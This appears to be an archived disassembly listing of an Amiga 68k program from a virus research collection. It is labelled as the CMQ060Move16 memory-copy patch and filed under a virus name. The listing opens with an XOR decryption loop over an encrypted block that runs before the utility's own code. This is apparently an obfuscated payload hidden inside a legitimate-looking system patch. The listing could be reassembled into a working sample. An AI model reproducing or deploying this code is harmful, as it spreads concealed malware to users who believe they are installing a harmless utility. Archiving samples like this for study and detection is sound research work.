home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / ZAKAPIOR / CMQ060MOVE16.ASM < prev    next >
Assembly Source File  |  1999-07-13  |  12KB  |  495 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $39290000
  6. EXT_0002    EQU    $FFFFFD8A
  7. EXT_0003    EQU    $FFFFFD90
  8.  
  9.  
  10.  
  11.  
  12.     SECTION S_0,CODE
  13.  
  14. SECSTRT_0:
  15.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;000: 48E7FFFE
  16.     MOVEA.L    (ABSEXECBASE).W,A6    ;004: 2C780004
  17.     LEA    LAB_0001(PC),A0        ;008: 41FA0014
  18.     LEA    LAB_0002(PC),A1        ;00C: 43FA0208
  19.     MOVE    #$D00D,D0        ;010: 303CD00D
  20. LAB_0000:
  21.     EOR    D0,(A0)+        ;014: B158
  22.     CMPA.L    A0,A1            ;016: B3C8
  23.     BNE.S    LAB_0000        ;018: 66FA
  24.     JSR    -636(A6)        ;01A: 4EAEFD84
  25. LAB_0001:
  26.     EOR.B    D0,D1            ;01E: B101
  27.     CMP    -(A2),D2        ;020: B462
  28.     DC.W    $A323            ;022
  29.     CMP    -(A4),D6        ;024: BC64
  30.     DC.W    $B27F            ;026
  31.     DC.W    $B17F            ;028
  32.     DC.W    $A90D            ;02A
  33.     DC.W    $F252            ;02C
  34.     DC.W    $A028            ;02E
  35.     SUB.L    -(A3),D7        ;030: 9EA3
  36.     DC.W    $2DD5            ;032
  37.     DC.W    $FC0D            ;034
  38.     CMPM    (A1)+,(A3)+        ;036: B749
  39.     DC.W    $91F7            ;038
  40.     ADDA.L    (A1),A0            ;03A: D1D1
  41.     DC.W    $F08B            ;03C
  42.     DC.W    $F831            ;03E
  43.     DC.W    $D00D            ;040
  44.     ADD.L    D0,(A3)+        ;042: D19B
  45.     DC.W    $A20D            ;044
  46.     DC.W    $F009            ;046
  47.     SUB.L    -(A3),D7        ;048: 9EA3
  48.     DC.W    $2D59            ;04A
  49.     DC.W    $FA0D            ;04C
  50.     EOR.B    D3,-3507(A3)        ;04E: B72BF24D
  51.     DC.W    $91F7            ;052
  52.     DC.W    $D03D            ;054
  53.     DC.W    $F009            ;056
  54.     SUB.L    -(A3),D7        ;058: 9EA3
  55.     DC.W    $2D9D            ;05A
  56.     DC.W    $1D83            ;05C
  57.     DC.W    $91F7            ;05E
  58.     ADD.L    D0,-(A1)        ;060: D1A1
  59.     DC.W    $93F7            ;062
  60.     ADD.L    D0,(A1)+        ;064: D199
  61.     DC.W    $F345            ;066
  62.     ADD.B    D1,D0            ;068: D001
  63.     DC.W    $F204            ;06A
  64.     DC.W    $F348            ;06C
  65.     DC.W    $D009            ;06E
  66.     SUB.L    -(A3),D7        ;070: 9EA3
  67.     MOVE.L    D3,D7            ;072: 2E03
  68.     DC.W    $1D83            ;074
  69.     DC.W    $F24B            ;076
  70.     SUB.L    -(A3),D7        ;078: 9EA3
  71.     MOVEA.L    -25390(A7),A7        ;07A: 2E6F9CD2
  72.     DC.W    $AFF2            ;07E
  73.     DC.W    $B00D            ;080
  74.     ADD.L    D0,(A5)            ;082: D195
  75.     DC.W    $FC75            ;084
  76.     DC.W    $D009            ;086
  77.     DC.W    $A009            ;088
  78.     DC.W    $93F7            ;08A
  79.     ADD.L    (A7)+,D0        ;08C: D09F
  80.     SUB.L    -(A3),D7        ;08E: 9EA3
  81.     DC.W    $2DD5            ;090
  82.     SUB.L    A5,D5            ;092: 9A8D
  83.     DC.W    $B779            ;094
  84.     DC.W    $A8F2            ;096
  85.     DC.W    $FA4D            ;098
  86.     DC.W    $A00F            ;09A
  87.     DC.W    $A20C            ;09C
  88.     DC.W    $A40D            ;09E
  89.     MOVE.B    D3,-24925(A5)        ;0A0: 1B439EA3
  90.     DC.W    $2FEF            ;0A4
  91.     DC.W    $6089            ;0A6
  92.     EOR    D3,(A5)            ;0A8: B755
  93.     DC.W    $FC0D            ;0AA
  94.     DC.W    $F231            ;0AC
  95.     DC.W    $D00D            ;0AE
  96.     DC.W    $2FF2            ;0B0
  97.     DC.W    $F431            ;0B2
  98.     DC.W    $D00D            ;0B4
  99.     ADD.L    A5,D0            ;0B6: D08D
  100.     DC.W    $91F7            ;0B8
  101.     ADD.L    A7,D0            ;0BA: D08F
  102.     DC.W    $A605            ;0BC
  103.     SUB.L    -(A3),D7        ;0BE: 9EA3
  104.     DC.W    $2FAB            ;0C0
  105.     DC.W    $91F7            ;0C2
  106.     ADD    -(A1),D0        ;0C4: D061
  107.     DC.W    $F00B            ;0C6
  108.     DC.W    $A21D            ;0C8
  109.     SUB.L    -(A3),D7        ;0CA: 9EA3
  110.     DC.W    $2FC7            ;0CC
  111.     DC.W    $6089            ;0CE
  112.     EOR.B    D3,-(A7)        ;0D0: B727
  113.     DC.W    $97F7            ;0D2
  114.     DC.W    $D07D            ;0D4
  115.     DC.W    $F006            ;0D6
  116.     SUB.B    (A6),D5            ;0D8: 9A16
  117.     DC.W    $B6F1            ;0DA
  118.     DC.W    $F606            ;0DC
  119.     DC.W    $468D            ;0DE
  120.     DC.W    $838E            ;0E0
  121.     EOR.B    D3,(A5)+        ;0E2: B71D
  122.     DC.W    $F04D            ;0E4
  123.     DC.W    $A40D            ;0E6
  124.     DC.W    $F00B            ;0E8
  125.     DC.W    $F20E            ;0EA
  126.     SUB.L    -(A3),D7        ;0EC: 9EA3
  127.     DC.W    $2FB3            ;0EE
  128.     DC.W    $668D            ;0F0
  129.     DC.W    $B7EF            ;0F2
  130.     DC.W    $F00B            ;0F4
  131.     DC.W    $A20F            ;0F6
  132.     SUB.L    -(A3),D7        ;0F8: 9EA3
  133.     DC.W    $2FA1            ;0FA
  134.     DC.W    $F00B            ;0FC
  135.     SUB.L    -(A3),D7        ;0FE: 9EA3
  136.     DC.W    $2F85            ;100
  137.     MOVE.B    D3,-3520(A5)        ;102: 1B43F240
  138.     SUB.L    -(A3),D7        ;106: 9EA3
  139.     DC.W    $2E6F            ;108
  140.     DC.W    $91F7            ;10A
  141.     ADDX.B    D7,D0            ;10C: D107
  142.     DC.W    $FC5D            ;10E
  143.     DC.W    $F231            ;110
  144.     DC.W    $D00D            ;112
  145.     DC.W    $DBB5            ;114
  146.     SUB.L    -(A3),D7        ;116: 9EA3
  147.     DC.W    $2F37            ;118
  148.     DC.W    $B00D            ;11A
  149.     MOVE.L    -(A5),-19842(A7)    ;11C: 2F65B27E
  150.     DC.W    $B47E            ;120
  151.     EOR    D7,-17560(A6)        ;122: BF6EBB68
  152.     DC.W    $A423            ;126
  153.     CMP    -(A4),D6        ;128: BC64
  154.     DC.W    $B27F            ;12A
  155.     DC.W    $B17F            ;12C
  156.     DC.W    $A90D            ;12E
  157.     DC.W    $C00F            ;130
  158.     ADD.B    (A4),D0            ;132: D014
  159.     MOVE.B    D2,75(A1,A6.L)        ;134: 1382E84B
  160.     DC.W    $D00D            ;138
  161.     DC.W    $D00D            ;13A
  162.     DC.W    $D00D            ;13C
  163.     DC.W    $D00C            ;13E
  164.     DC.W    $D00D            ;140
  165.     ADD.B    (A3),D0            ;142: D013
  166.     SUB    A0,D4            ;144: 9848
  167.     SUB    D2,D6            ;146: 9C42
  168.     DC.W    $DA0D            ;148
  169.     SUBX    -(A4),-(A6)        ;14A: 9D4C
  170.     SUBX    D1,D4            ;14C: 9941
  171.     DC.W    $F04B            ;14E
  172.     OR    D2,D1            ;150: 8242
  173.     SUB.B    D6,49(A7,A7.W)        ;152: 9D37F031
  174.     DC.W    $8833            ;156
  175.     DC.W    $DA0D            ;158
  176.     DC.W    $824E            ;15A
  177.     OR    (A1)+,D0        ;15C: 8059
  178.     DC.W    $F059            ;15E
  179.     SUB.B    D7,49(A7,A7.W)        ;160: 9F37F031
  180.     DC.W    $A07F            ;164
  181.     DC.W    $B57E            ;166
  182.     DC.W    $B969            ;168
  183.     EOR    D2,-(A3)        ;16A: B563
  184.     DC.W    $A44D            ;16C
  185.     EOR    D0,-(A0)        ;16E: B160
  186.     DC.W    $B96A            ;170
  187.     EOR.B    D0,-(A3)        ;172: B123
  188.     EOR    D1,-(A2)        ;174: B362
  189.     DC.W    $BD33            ;176
  190.     DC.W    $DA0D            ;178
  191.     SUB    A4,D2            ;17A: 944C
  192.     DC.W    $844C            ;17C
  193.     DC.W    $DA0D            ;17E
  194.     DC.W    $967F            ;180
  195.     EOR    D7,-(A0)        ;182: BF60
  196.     LSR.B    D5,D5            ;184: EA2D
  197.     SUB    D0,-(A0)        ;186: 9160
  198.     DC.W    $B96A            ;188
  199.     EOR.B    D0,-25502(A5)        ;18A: B12D9C62
  200.     DC.W    $A668            ;18E
  201.     DC.W    $A22D            ;190
  202.     ROXR.B    D6,D3            ;192: EC33
  203.     DC.W    $DA0D            ;194
  204.     DC.W    $8378            ;196
  205.     CMP    -(A7),D1        ;198: B267
  206.     DC.W    $B56E            ;19A
  207.     DC.W    $A437            ;19C
  208.     DC.W    $F04B            ;19E
  209.     SUBX    D1,D4            ;1A0: 9941
  210.     OR    D5,D2            ;1A2: 8445
  211.     OR.B    D4,-27816(A5)        ;1A4: 892D9358
  212.     SUB    (A1)+,D7        ;1A8: 9E59
  213.     DC.W    $F107            ;1AA
  214.     DC.W    $DA0D            ;1AC
  215.     SUB    (A0)+,D3        ;1AE: 9658
  216.     SUBX    D6,D1            ;1B0: 9346
  217.     DC.W    $F058            ;1B2
  218.     DC.W    $F043            ;1B4
  219.     SUB    D0,(A7)            ;1B6: 9157
  220.     SUB.B    D4,-27816(A5)        ;1B8: 992D9358
  221.     SUB    (A1)+,D7        ;1BC: 9E59
  222.     DC.W    $F020            ;1BE
  223.     DC.W    $F049            ;1C0
  224.     SUBX    -(A0),-(A4)        ;1C2: 9948
  225.     DC.W    $F04C            ;1C4
  226.     SUB    A1,D7            ;1C6: 9E49
  227.     DC.W    $F04F            ;1C8
  228.     OR    D2,(A7)+        ;1CA: 855F
  229.     SUB.B    -26301(A5),D7        ;1CC: 9E2D9943
  230.     DC.W    $F045            ;1D0
  231.     SUBX    D1,D2            ;1D2: 9541
  232.     SUB.B    -28352(A5),D6        ;1D4: 9C2D9140
  233.     SUBX    -(A2),-(A4)        ;1D8: 994A
  234.     SUB.B    D0,-25788(A5)        ;1DA: 912D9B44
  235.     SUB    D1,D6            ;1DE: 9C41
  236.     SUBX    D3,D4            ;1E0: 9943
  237.     SUB.B    D3,-30907(A5)        ;1E2: 972D8745
  238.     SUB    D7,(A7)+        ;1E6: 9F5F
  239.     SUB.B    D2,-9715(A4)        ;1E8: 952CDA0D
  240.     ADD.B    D7,D5            ;1EC: DA07
  241.     DC.W    $FE07            ;1EE
  242.     ADD    (A4)+,D0        ;1F0: D05C
  243.     DC.W    $8544            ;1F2
  244.     OR.B    D7,D2            ;1F4: 8407
  245.     DC.W    $D00D            ;1F6
  246.     DC.W    $500D            ;1F8
  247.     ADDA.L    -(A6),A1        ;1FA: D3E6
  248.     DC.W    $D00D            ;1FC
  249.     DC.W    $D00D            ;1FE
  250.     DC.W    $500D            ;200
  251.     DC.W    $D3F9            ;202
  252.     DC.W    $D00D            ;204
  253.     DC.W    $D00D            ;206
  254.     DC.W    $D00D            ;208
  255.     DC.W    $D00D            ;20A
  256.     DC.W    $AA6C            ;20C
  257.     EOR    D5,-24476(A4)        ;20E: BB6CA064
  258.     DC.W    $BF7F            ;212
  259.     DC.W    $D00D            ;214
  260. LAB_0002:
  261.     ORI.B    #$00,D0            ;216: 00000000
  262.     MOVEA.L    (ABSEXECBASE).W,A6    ;21A: 2C780004
  263.     BTST    #3,297(A6)        ;21E: 082E00030129
  264.     BNE.S    LAB_0004        ;224: 6604
  265. LAB_0003:
  266.     MOVEQ    #20,D0            ;226: 7014
  267.     RTS                ;228: 4E75
  268. LAB_0004:
  269.     MOVE.L    #$00000183,D0        ;22A: 203C00000183
  270.     MOVEQ    #1,D1            ;230: 7201
  271.     JSR    -198(A6)        ;232: 4EAEFF3A
  272.     MOVE.L    D0,D6            ;236: 2C00
  273.     BEQ.S    LAB_0003        ;238: 67EC
  274.     ADDI    #$000F,D6        ;23A: 0646000F
  275.     ANDI.B    #$F0,D6            ;23E: 020600F0
  276.     LEA    LAB_0005(PC),A0        ;242: 41FA0054
  277.     MOVEA.L    D6,A1            ;246: 2246
  278.     MOVE.L    #$00000174,D0        ;248: 203C00000174
  279.     BSR    LAB_0014        ;24E: 61000120
  280.     MOVEA.L    A6,A1            ;252: 224E
  281.     LEA    (EXT_0003).W,A0        ;254: 41F8FD90
  282.     MOVE.L    D6,D0            ;258: 2006
  283.     JSR    -420(A6)        ;25A: 4EAEFE5C
  284.     MOVEA.L    A6,A1            ;25E: 224E
  285.     LEA    (EXT_0002).W,A0        ;260: 41F8FD8A
  286.     MOVE.L    D6,D0            ;264: 2006
  287.     ADDI.L    #$000000D8,D0        ;266: 0680000000D8
  288.     JSR    -420(A6)        ;26C: 4EAEFE5C
  289.     MOVEQ    #0,D0            ;270: 7000
  290.     RTS                ;272: 4E75
  291.     MOVEA.L    (A6),A2            ;274: 2456
  292.     DC.W    $4552            ;276
  293.     MOVE    -(A0),D5        ;278: 3A20
  294.     DC.W    $434D            ;27A
  295.     DC.W    $5130            ;27C
  296.     DC.W    $3630            ;27E
  297.     DC.W    $4D6F            ;280
  298.     MOVEQ    #101,D3            ;282: 7665
  299.     DC.W    $3136            ;284
  300.     DC.W    $2031            ;286
  301.     MOVE.L    40(A5,D2.W),D7        ;288: 2E352028
  302.     DC.W    $3131            ;28C
  303.     DC.W    $2E37            ;28E
  304.     MOVE.L    EXT_0001,D7        ;290: 2E3939290000
  305.     DC.W    $0000            ;296
  306. LAB_0005:
  307.     TST.L    D0            ;298: 4A80
  308.     BEQ.S    LAB_000D        ;29A: 674C
  309.     MOVE    A1,D1            ;29C: 3209
  310.     BTST    #0,D1            ;29E: 08010000
  311.     BEQ.S    LAB_0006        ;2A2: 6708
  312.     MOVE.B    (A0)+,(A1)+        ;2A4: 12D8
  313.     SUBQ.L    #1,D0            ;2A6: 5380
  314.     BEQ.S    LAB_000D        ;2A8: 673E
  315.     MOVE    A1,D1            ;2AA: 3209
  316. LAB_0006:
  317.     BTST    #1,D1            ;2AC: 08010001
  318.     BEQ.S    LAB_0008        ;2B0: 6712
  319.     CMPI.L    #$00000001,D0        ;2B2: 0C8000000001
  320.     BNE.S    LAB_0007        ;2B8: 6604
  321.     MOVE.B    (A0)+,(A1)+        ;2BA: 12D8
  322.     RTS                ;2BC: 4E75
  323. LAB_0007:
  324.     MOVE    (A0)+,(A1)+        ;2BE: 32D8
  325.     SUBQ.L    #2,D0            ;2C0: 5580
  326.     BEQ.S    LAB_000D        ;2C2: 6724
  327. LAB_0008:
  328.     CMPI.L    #$00000810,D0        ;2C4: 0C8000000810
  329.     BCC.S    LAB_000E        ;2CA: 641E
  330. LAB_0009:
  331.     MOVE.L    D0,D1            ;2CC: 2200
  332.     LSR    #2,D1            ;2CE: E449
  333.     BEQ.S    LAB_000B        ;2D0: 6706
  334. LAB_000A:
  335.     MOVE.L    (A0)+,(A1)+        ;2D2: 22D8
  336.     SUBQ    #1,D1            ;2D4: 5341
  337.     BNE.S    LAB_000A        ;2D6: 66FA
  338. LAB_000B:
  339.     BTST    #1,D0            ;2D8: 08000001
  340.     BEQ.S    LAB_000C        ;2DC: 6702
  341.     MOVE    (A0)+,(A1)+        ;2DE: 32D8
  342. LAB_000C:
  343.     BTST    #0,D0            ;2E0: 08000000
  344.     BEQ.S    LAB_000D        ;2E4: 6702
  345.     MOVE.B    (A0)+,(A1)+        ;2E6: 12D8
  346. LAB_000D:
  347.     RTS                ;2E8: 4E75
  348. LAB_000E:
  349.     MOVE    A1,D1            ;2EA: 3209
  350.     BTST    #2,D1            ;2EC: 08010002
  351.     BEQ.S    LAB_000F        ;2F0: 6706
  352.     SUBQ.L    #4,D0            ;2F2: 5980
  353.     MOVE.L    (A0)+,(A1)+        ;2F4: 22D8
  354.     MOVE    A1,D1            ;2F6: 3209
  355. LAB_000F:
  356.     BTST    #3,D1            ;2F8: 08010003
  357.     BEQ.S    LAB_0010        ;2FC: 6706
  358.     SUBQ.L    #8,D0            ;2FE: 5180
  359.     MOVE.L    (A0)+,(A1)+        ;300: 22D8
  360.     MOVE.L    (A0)+,(A1)+        ;302: 22D8
  361. LAB_0010:
  362.     MOVE    A0,D1            ;304: 3208
  363.     ANDI.B    #$0F,D1            ;306: 0201000F
  364.     BNE.S    LAB_0012        ;30A: 6630
  365.     MOVE.L    D0,D1            ;30C: 2200
  366.     LSR.L    #7,D1            ;30E: EE89
  367. LAB_0011:
  368.     DC.W    $F620            ;310
  369.     SUB.B    D0,D0            ;312: 9000
  370.     DC.W    $F620            ;314
  371.     SUB.B    D0,D0            ;316: 9000
  372.     DC.W    $F620            ;318
  373.     SUB.B    D0,D0            ;31A: 9000
  374.     DC.W    $F620            ;31C
  375.     SUB.B    D0,D0            ;31E: 9000
  376.     DC.W    $F620            ;320
  377.     SUB.B    D0,D0            ;322: 9000
  378.     DC.W    $F620            ;324
  379.     SUB.B    D0,D0            ;326: 9000
  380.     DC.W    $F620            ;328
  381.     SUB.B    D0,D0            ;32A: 9000
  382.     DC.W    $F620            ;32C
  383.     SUB.B    D0,D0            ;32E: 9000
  384.     SUBQ.L    #1,D1            ;330: 5381
  385.     BNE.S    LAB_0011        ;332: 66DC
  386.     AND    #$007F,D0        ;334: C07C007F
  387.     BNE.S    LAB_0009        ;338: 6692
  388.     RTS                ;33A: 4E75
  389. LAB_0012:
  390.     MOVE.L    D0,D1            ;33C: 2200
  391.     LSR.L    #6,D1            ;33E: EC89
  392. LAB_0013:
  393.     MOVE.L    (A0)+,(A1)+        ;340: 22D8
  394.     MOVE.L    (A0)+,(A1)+        ;342: 22D8
  395.     MOVE.L    (A0)+,(A1)+        ;344: 22D8
  396.     MOVE.L    (A0)+,(A1)+        ;346: 22D8
  397.     MOVE.L    (A0)+,(A1)+        ;348: 22D8
  398.     MOVE.L    (A0)+,(A1)+        ;34A: 22D8
  399.     MOVE.L    (A0)+,(A1)+        ;34C: 22D8
  400.     MOVE.L    (A0)+,(A1)+        ;34E: 22D8
  401.     MOVE.L    (A0)+,(A1)+        ;350: 22D8
  402.     MOVE.L    (A0)+,(A1)+        ;352: 22D8
  403.     MOVE.L    (A0)+,(A1)+        ;354: 22D8
  404.     MOVE.L    (A0)+,(A1)+        ;356: 22D8
  405.     MOVE.L    (A0)+,(A1)+        ;358: 22D8
  406.     MOVE.L    (A0)+,(A1)+        ;35A: 22D8
  407.     MOVE.L    (A0)+,(A1)+        ;35C: 22D8
  408.     MOVE.L    (A0)+,(A1)+        ;35E: 22D8
  409.     SUBQ.L    #1,D1            ;360: 5381
  410.     BNE.S    LAB_0013        ;362: 66DC
  411.     AND    #$003F,D0        ;364: C07C003F
  412.     BNE    LAB_0009        ;368: 6600FF62
  413.     RTS                ;36C: 4E75
  414.     NOP                ;36E: 4E71
  415. LAB_0014:
  416.     LSR.L    #2,D0            ;370: E488
  417.     CMPI.L    #$00000204,D0        ;372: 0C8000000204
  418.     BCC.S    LAB_0017        ;378: 640C
  419.     TST    D0            ;37A: 4A40
  420.     BEQ.S    LAB_0016        ;37C: 6706
  421. LAB_0015:
  422.     MOVE.L    (A0)+,(A1)+        ;37E: 22D8
  423.     SUBQ    #1,D0            ;380: 5340
  424.     BNE.S    LAB_0015        ;382: 66FA
  425. LAB_0016:
  426.     RTS                ;384: 4E75
  427. LAB_0017:
  428.     MOVE    A1,D1            ;386: 3209
  429.     BTST    #2,D1            ;388: 08010002
  430.     BEQ.S    LAB_0018        ;38C: 6706
  431.     SUBQ.L    #1,D0            ;38E: 5380
  432.     MOVE.L    (A0)+,(A1)+        ;390: 22D8
  433.     MOVE    A1,D1            ;392: 3209
  434. LAB_0018:
  435.     BTST    #3,D1            ;394: 08010003
  436.     BEQ.S    LAB_0019        ;398: 6706
  437.     SUBQ.L    #2,D0            ;39A: 5580
  438.     MOVE.L    (A0)+,(A1)+        ;39C: 22D8
  439.     MOVE.L    (A0)+,(A1)+        ;39E: 22D8
  440. LAB_0019:
  441.     MOVE    A0,D1            ;3A0: 3208
  442.     ANDI.B    #$0F,D1            ;3A2: 0201000F
  443.     BNE.S    LAB_001B        ;3A6: 6630
  444.     MOVE.L    D0,D1            ;3A8: 2200
  445.     LSR.L    #5,D1            ;3AA: EA89
  446. LAB_001A:
  447.     DC.W    $F620            ;3AC
  448.     SUB.B    D0,D0            ;3AE: 9000
  449.     DC.W    $F620            ;3B0
  450.     SUB.B    D0,D0            ;3B2: 9000
  451.     DC.W    $F620            ;3B4
  452.     SUB.B    D0,D0            ;3B6: 9000
  453.     DC.W    $F620            ;3B8
  454.     SUB.B    D0,D0            ;3BA: 9000
  455.     DC.W    $F620            ;3BC
  456.     SUB.B    D0,D0            ;3BE: 9000
  457.     DC.W    $F620            ;3C0
  458.     SUB.B    D0,D0            ;3C2: 9000
  459.     DC.W    $F620            ;3C4
  460.     SUB.B    D0,D0            ;3C6: 9000
  461.     DC.W    $F620            ;3C8
  462.     SUB.B    D0,D0            ;3CA: 9000
  463.     SUBQ.L    #1,D1            ;3CC: 5381
  464.     BNE.S    LAB_001A        ;3CE: 66DC
  465.     AND    #$001F,D0        ;3D0: C07C001F
  466.     BNE.S    LAB_0015        ;3D4: 66A8
  467.     RTS                ;3D6: 4E75
  468. LAB_001B:
  469.     MOVE.L    D0,D1            ;3D8: 2200
  470.     LSR.L    #4,D1            ;3DA: E889
  471. LAB_001C:
  472.     MOVE.L    (A0)+,(A1)+        ;3DC: 22D8
  473.     MOVE.L    (A0)+,(A1)+        ;3DE: 22D8
  474.     MOVE.L    (A0)+,(A1)+        ;3E0: 22D8
  475.     MOVE.L    (A0)+,(A1)+        ;3E2: 22D8
  476.     MOVE.L    (A0)+,(A1)+        ;3E4: 22D8
  477.     MOVE.L    (A0)+,(A1)+        ;3E6: 22D8
  478.     MOVE.L    (A0)+,(A1)+        ;3E8: 22D8
  479.     MOVE.L    (A0)+,(A1)+        ;3EA: 22D8
  480.     MOVE.L    (A0)+,(A1)+        ;3EC: 22D8
  481.     MOVE.L    (A0)+,(A1)+        ;3EE: 22D8
  482.     MOVE.L    (A0)+,(A1)+        ;3F0: 22D8
  483.     MOVE.L    (A0)+,(A1)+        ;3F2: 22D8
  484.     MOVE.L    (A0)+,(A1)+        ;3F4: 22D8
  485.     MOVE.L    (A0)+,(A1)+        ;3F6: 22D8
  486.     MOVE.L    (A0)+,(A1)+        ;3F8: 22D8
  487.     MOVE.L    (A0)+,(A1)+        ;3FA: 22D8
  488.     SUBQ.L    #1,D1            ;3FC: 5381
  489.     BNE.S    LAB_001C        ;3FE: 66DC
  490.     AND    #$000F,D0        ;400: C07C000F
  491.     BNE    LAB_0015        ;404: 6600FF78
  492.     RTS                ;408: 4E75
  493.     NOP                ;40A: 4E71
  494.     END
  495.